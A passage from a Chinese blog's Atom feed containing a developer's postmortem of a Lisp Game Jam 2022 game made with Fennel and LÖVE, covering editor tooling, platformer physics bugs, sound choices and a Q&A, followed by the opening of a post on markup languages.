    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;批注 2022-11-07 013345-fs8.png&quot;
	alt=&quot;游戏截图&quot;
	height=&quot;751&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;另外，我还想过在左右两屏上面再加一个贪吃蛇：如果蛇咬到自己或者碰壁，左边屏幕里向下滚动的世界直接崩塌——游戏结束。三个屏幕三款互相影响的游戏，想想就刺激。不过最后因为时间原因没把贪吃蛇加上来。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;怎么做&quot;&gt;怎么做&lt;&#x2F;h2&gt;
&lt;p&gt;既然游戏机制已经拍板，接下来只需要做出来即可。话说得容易，实际制作却因为不熟悉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因写一行改十行。这导致进度远远落后于预期，最后砍了很多锦上添花的功能。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Parinfer&quot;&gt;Parinfer&lt;&#x2F;h3&gt;
&lt;p&gt;据说写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;最好的方式据说是开一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;REPL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以交互的方式写，不过我还是习惯用传统的编辑器写代码。写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;最好的编辑器是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs——而它不是我的菜，我更倾向于功能弱一些但启动和输入延迟都更低的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim。&lt;&#x2F;p&gt;
&lt;p&gt;最开始我是什么插件也不装直接写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel。写的时候没问题，但改的时候经常要数括才能保证改完的代码可以工作。这我可遭不住，然后想起几年前热衷于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时听说的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Parinfer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;插件：根据输入时的缩进等条件推导出哪里该加括号哪里该删括号。装了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bhurlow&#x2F;vim-parinfer&quot;&gt;Vim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版&lt;&#x2F;a&gt;后，80%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的时间不用担心括号的问题，15%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的时间可以手动快速解决括号问题，5%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的时间要关掉这个插件才能输入我想要的代码。算是利大于弊吧。&lt;&#x2F;p&gt;
&lt;p&gt;后来在网上看到&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;susam.net&#x2F;blog&#x2F;lisp-in-vim.html&quot;&gt;有人为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;支持写了长篇大论&lt;&#x2F;a&gt;，不过没有提&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Parinfer，很怪。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;魔鬼计算&quot;&gt;魔鬼计算&lt;&#x2F;h3&gt;
&lt;p&gt;相比&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;simple-devilish-calculatons&#x2F;&quot;&gt;之前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的版本&lt;&#x2F;a&gt;，简化了出题算法。新的算法只需要随机出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9-a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;b，即可生成个位数答案的加法式或减法式。因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a+b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;c&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一定是个位数，c-b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也一定是个位数。&lt;&#x2F;p&gt;
&lt;p&gt;我在写这个模块时用到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rxi&#x2F;tick&quot;&gt;tick&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库&lt;&#x2F;a&gt;，把“每个更新循环里累加时间，检查是否到了某个预设时间从而决定是否执行某段代码”的逻辑换成了两个函数调用。感觉十分舒服。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;平台跳跃&quot;&gt;平台跳跃&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;让主角没有bug地动起来&quot;&gt;让主角没有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地动起来&lt;&#x2F;h4&gt;
&lt;p&gt;主角的移动框架（各种加速度根据按键改变主角&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X、Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方向的分速度）都是从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bump.lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的示例代码里学来的。&lt;&#x2F;p&gt;
&lt;p&gt;虽然有示例，但实现起来并不一帆风顺。最开始主角只要站在平台上就会急剧地上下抽搐。修复抽搐后，又发现主角站立的平台越高，下落时速度越快。原因是站立在平台之上时没有清零&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;方向上的速度：重力加速度一直在累加速度。我的主角出生点在低谷，跳到高处需要时间。所以高度越高，时间越长，累加的下落速度就越快。&lt;&#x2F;p&gt;
&lt;p&gt;最后一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是在最后一天写好平台下落的逻辑后出现的。它的表现形式是在头上平台下落时向上跳，有一定几率能直接穿过平台站上去。&lt;&#x2F;p&gt;
&lt;p&gt;这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的原因很简单：下落的平台没有做碰撞检测。如果下落时平台撞到主角头，它会直接穿过主角头卡到主角身体上。主角嵌在平台里是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bump.lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;没有预料的情况，所以有时会出现问题。由于时间关系我打算避开碰撞检测的代码，直接在移动平台的同时把主角下降相同距离。然而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仍然存在，所以我又让平台下落速度变慢、平台间距变大来减少这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;出现的频率。效果确实立竿见影，但这让游戏变得无趣起来。后来在上厕所时突然想起来我在下移主角时只移动了绘制主角图形的位置，没有移主角在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bump.lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的世界里的位置。回到电脑前加上一行代码就修复了这个粗心&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug。&lt;&#x2F;p&gt;
&lt;p&gt;虽然&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;修复了，但是我忘了恢复为减轻&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;而调慢的速度。结果有人留言游戏太简单，因为下落速度很慢。失误啊！&lt;&#x2F;p&gt;
&lt;p&gt;动是没有问题了，但手感是真的不行。具体哪里不行我也说不上来，也因此不知道怎么修改，这是我中途灰心了几天的重要原因。在最后加上了离开平台后&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0.25&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒内还能起跳的“coyote
time&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，希望能增强手感。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;无限下降平台&quot;&gt;无限下降平台&lt;&#x2F;h4&gt;
&lt;p&gt;最初我想做&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gamedeveloper.com&#x2F;design&#x2F;how-to-make-insane-procedural-platformer-levels&quot;&gt;自动生成的平台&lt;&#x2F;a&gt;：大致思路是设定起始平台后用玩家的移动参数计算可以放下一块平台的位置，如此循环。由于时间关系，我使用了固定的平台位置。&lt;&#x2F;p&gt;
&lt;p&gt;最开始想偏了，以为要使用队列模拟某层平台从屏幕下方消失，又在屏幕上方出现的效果。但其实只要在遍历平台数组时加个偏移量就好了。所以这个滚动功能的本质就是一个加法和一个取模。&lt;&#x2F;p&gt;
&lt;p&gt;好玩的是我使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;love2d.org&#x2F;wiki&#x2F;SpriteBatch&quot;&gt;SpriteBatch&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;画平台时出现了下图中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;glitch。每次移动时清空&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SpriteBatch，调整完坐标后再挨个加回去就解决了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Calculate to jump! 2022_11_9 23_30_40-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Calculate to jump! 2022_11_9 23_30_40-fs8.png&quot;
	alt=&quot;glitch&quot;
	height=&quot;720&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;音乐和音效&quot;&gt;音乐和音效&lt;&#x2F;h3&gt;
&lt;p&gt;音乐和音效是最后才加进去的。不得不说，加入它们的效果立竿见影：有了背景音乐和跑跳的音效后整个游戏马上显得活了起来。后来试玩其他没有音效的参赛作品时，更加深刻地认识到了音效之重要。&lt;&#x2F;p&gt;
&lt;p&gt;实装虽晚，但其实第一天我就在寻找合适的声音了。当时正在写魔鬼计算，所以想找答题正确和错误的提示音。正确的“汀&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”声很好找，就是钱币碰撞的音效。但错误的“嘟&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”却怎么也找不到，于是就把找音效的事往后拖了。&lt;&#x2F;p&gt;
&lt;p&gt;最后一天准备加入跳跃和落地音效时下载了一个很大的音效包。实际听过以后，发现拾取道具和爆炸的音效作正误提示音合适得很。所有音效就这么找齐了。&lt;&#x2F;p&gt;
&lt;p&gt;音乐方面使用了搜索时排在第一位的音乐。一开始不想用它，因为害怕用得人太多导致玩家听烦了。可是它的最后一首——用于结尾的音乐正是我想要的：舒缓好听的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chiptune。从评价上看，我选这首曲子完全正确：大家很喜欢背景音乐。只是我不知道该做何感受，因为我只是选中了它，并没有创造它。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;问答&quot;&gt;问答&lt;&#x2F;h2&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;你享受这次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;game
jam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吗？做出的游戏满意么？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;不享受，也不满意。如前所述，我因为调教不好角色移动的手感而一度终止制作，最后只是为了结束它才完成并提交了游戏。虽然评比时别的开发者给我的评论都很正面，让我很开心。但做游戏确实远比玩游戏难受：这是一个充满了妥协的过程。所以我并不享受这次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;game
jam。最后的作品只是玩过魔鬼计算的人很少，所以看起来比较新颖罢了。而且评分也不高。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;移动手感有什么难调的，照搬现实不就得了？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;游戏中的移动有悖现实，比如按键时间长就能跳得高、离开地面也可以跳等等。游戏要模拟的移动是玩家脑中想象的移动，虽然&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.davetech.co.uk&#x2F;gamedevplatformer&quot;&gt;有些文章&lt;&#x2F;a&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;higherorderfun.com&#x2F;blog&#x2F;2012&#x2F;05&#x2F;20&#x2F;the-guide-to-implementing-2d-platformers&#x2F;&quot;&gt;讲了需要注意的点&lt;&#x2F;a&gt;。但是“纸上得来终觉浅，绝知此事要躬行&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，真正制作时除了慢慢调没别的方法。我就是这么给调烦了，歇了两天。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;time&gt;2022-11-21&lt;&#x2F;time&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更新：突然发现樱井政博发布了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=noKsDZ-UPq8&quot;&gt;讲解游戏中跳跃物理的视频&lt;&#x2F;a&gt;。他提到了在《星之卡比
超级豪华版》中发明并且在《任天堂明星大乱斗
特别版》再次使用的跳跃机制：起跳时上升速度快，然后快速减小上升速度。樱井声称这样可以帮助反应慢的玩家操作，然后紧接着又提到了：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;这会增加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;出现的风险&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。是了，精致的跳跃要引入更多的参数和代码。如果加入了某项改进，作者调试起来会累，但玩家可能注意不到；舍弃某项改进，作者舒服了，玩家却会感到不对劲。樱井做了五部《任天堂明星大乱斗&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，每部跳跃机制都不相同——可见游戏中的跳跃有多令设计者纠结。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Masahiro Sakurai on Creating Games - Jump Physics - 4m07s-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Masahiro Sakurai on Creating Games - Jump Physics - 4m07s-fs8.png&quot;
	alt=&quot;卡比跳跃示意图&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;图案是你自己画的吗？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;不是，我使用了网上的免费资源。这次制作我有意使用了大量以知识共享&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;许可协议（简称&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CC0，是放弃著作权的许可）进行许可的素材。这样做的目的是想测试下独立游戏社区繁荣到了何种程度。结论是：已经繁荣到可以提供一款玩具游戏所需的所有素材了。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;有多少人参加呢？提交率是多少？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;一共&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;43&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;人，最后只提交了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;14&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个作品，其中有一个作品是三个人合作的。提交率有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16÷43≈37%——我也不清楚这个提交率算高算低。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;你对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel +
LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的组合满意吗？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;其实不只是它俩，我还用到了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;lume, tick,
anim8,
bump.lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这些库。我对它们整体的组合感到满意，因为它们的功能都很少，所以不用学太多东西就可以开始使用。之后如果有想法做新游戏，我还会用这一套。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;其他人使用了什么&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;呢？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;两个用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Racket&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的；两个用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Guile&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的；三个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Common
Lisp，剩下的七个全部使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel。Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之所以如此受欢迎，简单易学肯定是原因之一，但我觉得与它捆绑的引擎（LÖVE、TIC-80）良好的跨平台特性也是重要原因。在评比阶段有三款其他语言写的游戏，我是死活也没法玩。做出的游戏没有人玩是很打击作者的，因此从开始制作前就得考虑分发的问题。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在编写游戏时有什么独到之处么？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;据说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以在游戏运行时增删改带你，且不同于热重载，但我是门外汉所以没有用这方法。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;technomancy.us&#x2F;188&quot;&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的维护者记录了如何&lt;&#x2F;a&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;technomancy.us&#x2F;189&quot;&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;动态修改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LÖVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的代码&lt;&#x2F;a&gt;，但我因为对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;并不是很懂所以没有用。所以对我来说，Lisp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;没有任何独到之处——也许下次会试试所谓的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;interactive
development&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吧。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;打分环节是如何进行的？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;分别在娱乐性、感官和创意上给出评分。打分与否完全自愿，我一开始懒得打分。但其他人玩了我的游戏并留下好评，我也没法不去试试他们的游戏。另外&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;itch.io&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会调整评分不够多的游戏的分数，这一点可以理解，但调整公式过于粗暴，相当于惩罚。所以我不喜欢这个功能。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;有没有印象深刻的其他参赛游戏？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Frozen
Horizon》的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;UI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;背景色和音效都很像纸，有一种捧着报纸冒险的感觉。而且它应该是本次&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;game
jam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中最完善的作品。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;ctga》是出色的轻度解密游戏，音效很可爱，唯一的缺点是关卡太少玩不够。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Hojo》是个文本游戏引擎的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;demo，那个引擎用图的节点和边来整理事件。我觉得这点挺有启发性，因为我是手工编排事件的。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Rhombihexadeltille
game》和《Marad》还有《Metabolize!》看起来是有独特机制的游戏，可惜我没办法运行它们。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;说了半天，在哪能玩到你说的游戏？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;Game
jam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的地址是：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;itch.io&#x2F;jam&#x2F;lisp-game-jam-2022&quot;&gt;https:&#x2F;&#x2F;itch.io&#x2F;jam&#x2F;lisp-game-jam-2022&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;lisp-game-jam-2022
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;lisp-game-jam-2022&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>控制你的标记语言</title>
    <published>2022-10-23T20:38:15+01:00</published>
    <updated>2023-02-26T12:24:48+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/control-your-markup-language/" type="text/html" />
    <id>https://emptystack.top/control-your-markup-language/</id>
    <content type="html">
      &lt;p&gt;我虽然博文写得不多，但十分渴望有一种任我支配的&lt;ruby&gt;标记语言&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Markup Language&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;来满足我对博客排版的需求。或者说正是因为花了很久时间去寻找这种语言，所以我的博文很少。&lt;&#x2F;p&gt;
&lt;p&gt;创造如愿的标记语言实在是有意思的话题，同时也是很多人思考过并以五花八门的方式解决过的问题。可是那些解决方案的存在就像一个个孤岛，大家都在自说自话，没有一个全景式的导览。也许是我的搜索能力不够，也许是大部分人并不关心这个问题。总之，我准备把我知道的方法都简单介绍一遍——因为它们确实很有趣。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#Pollen&quot;&gt;Pollen&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;control-your-markup-language&#x2F;#Quad&quot;&gt;Quad&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
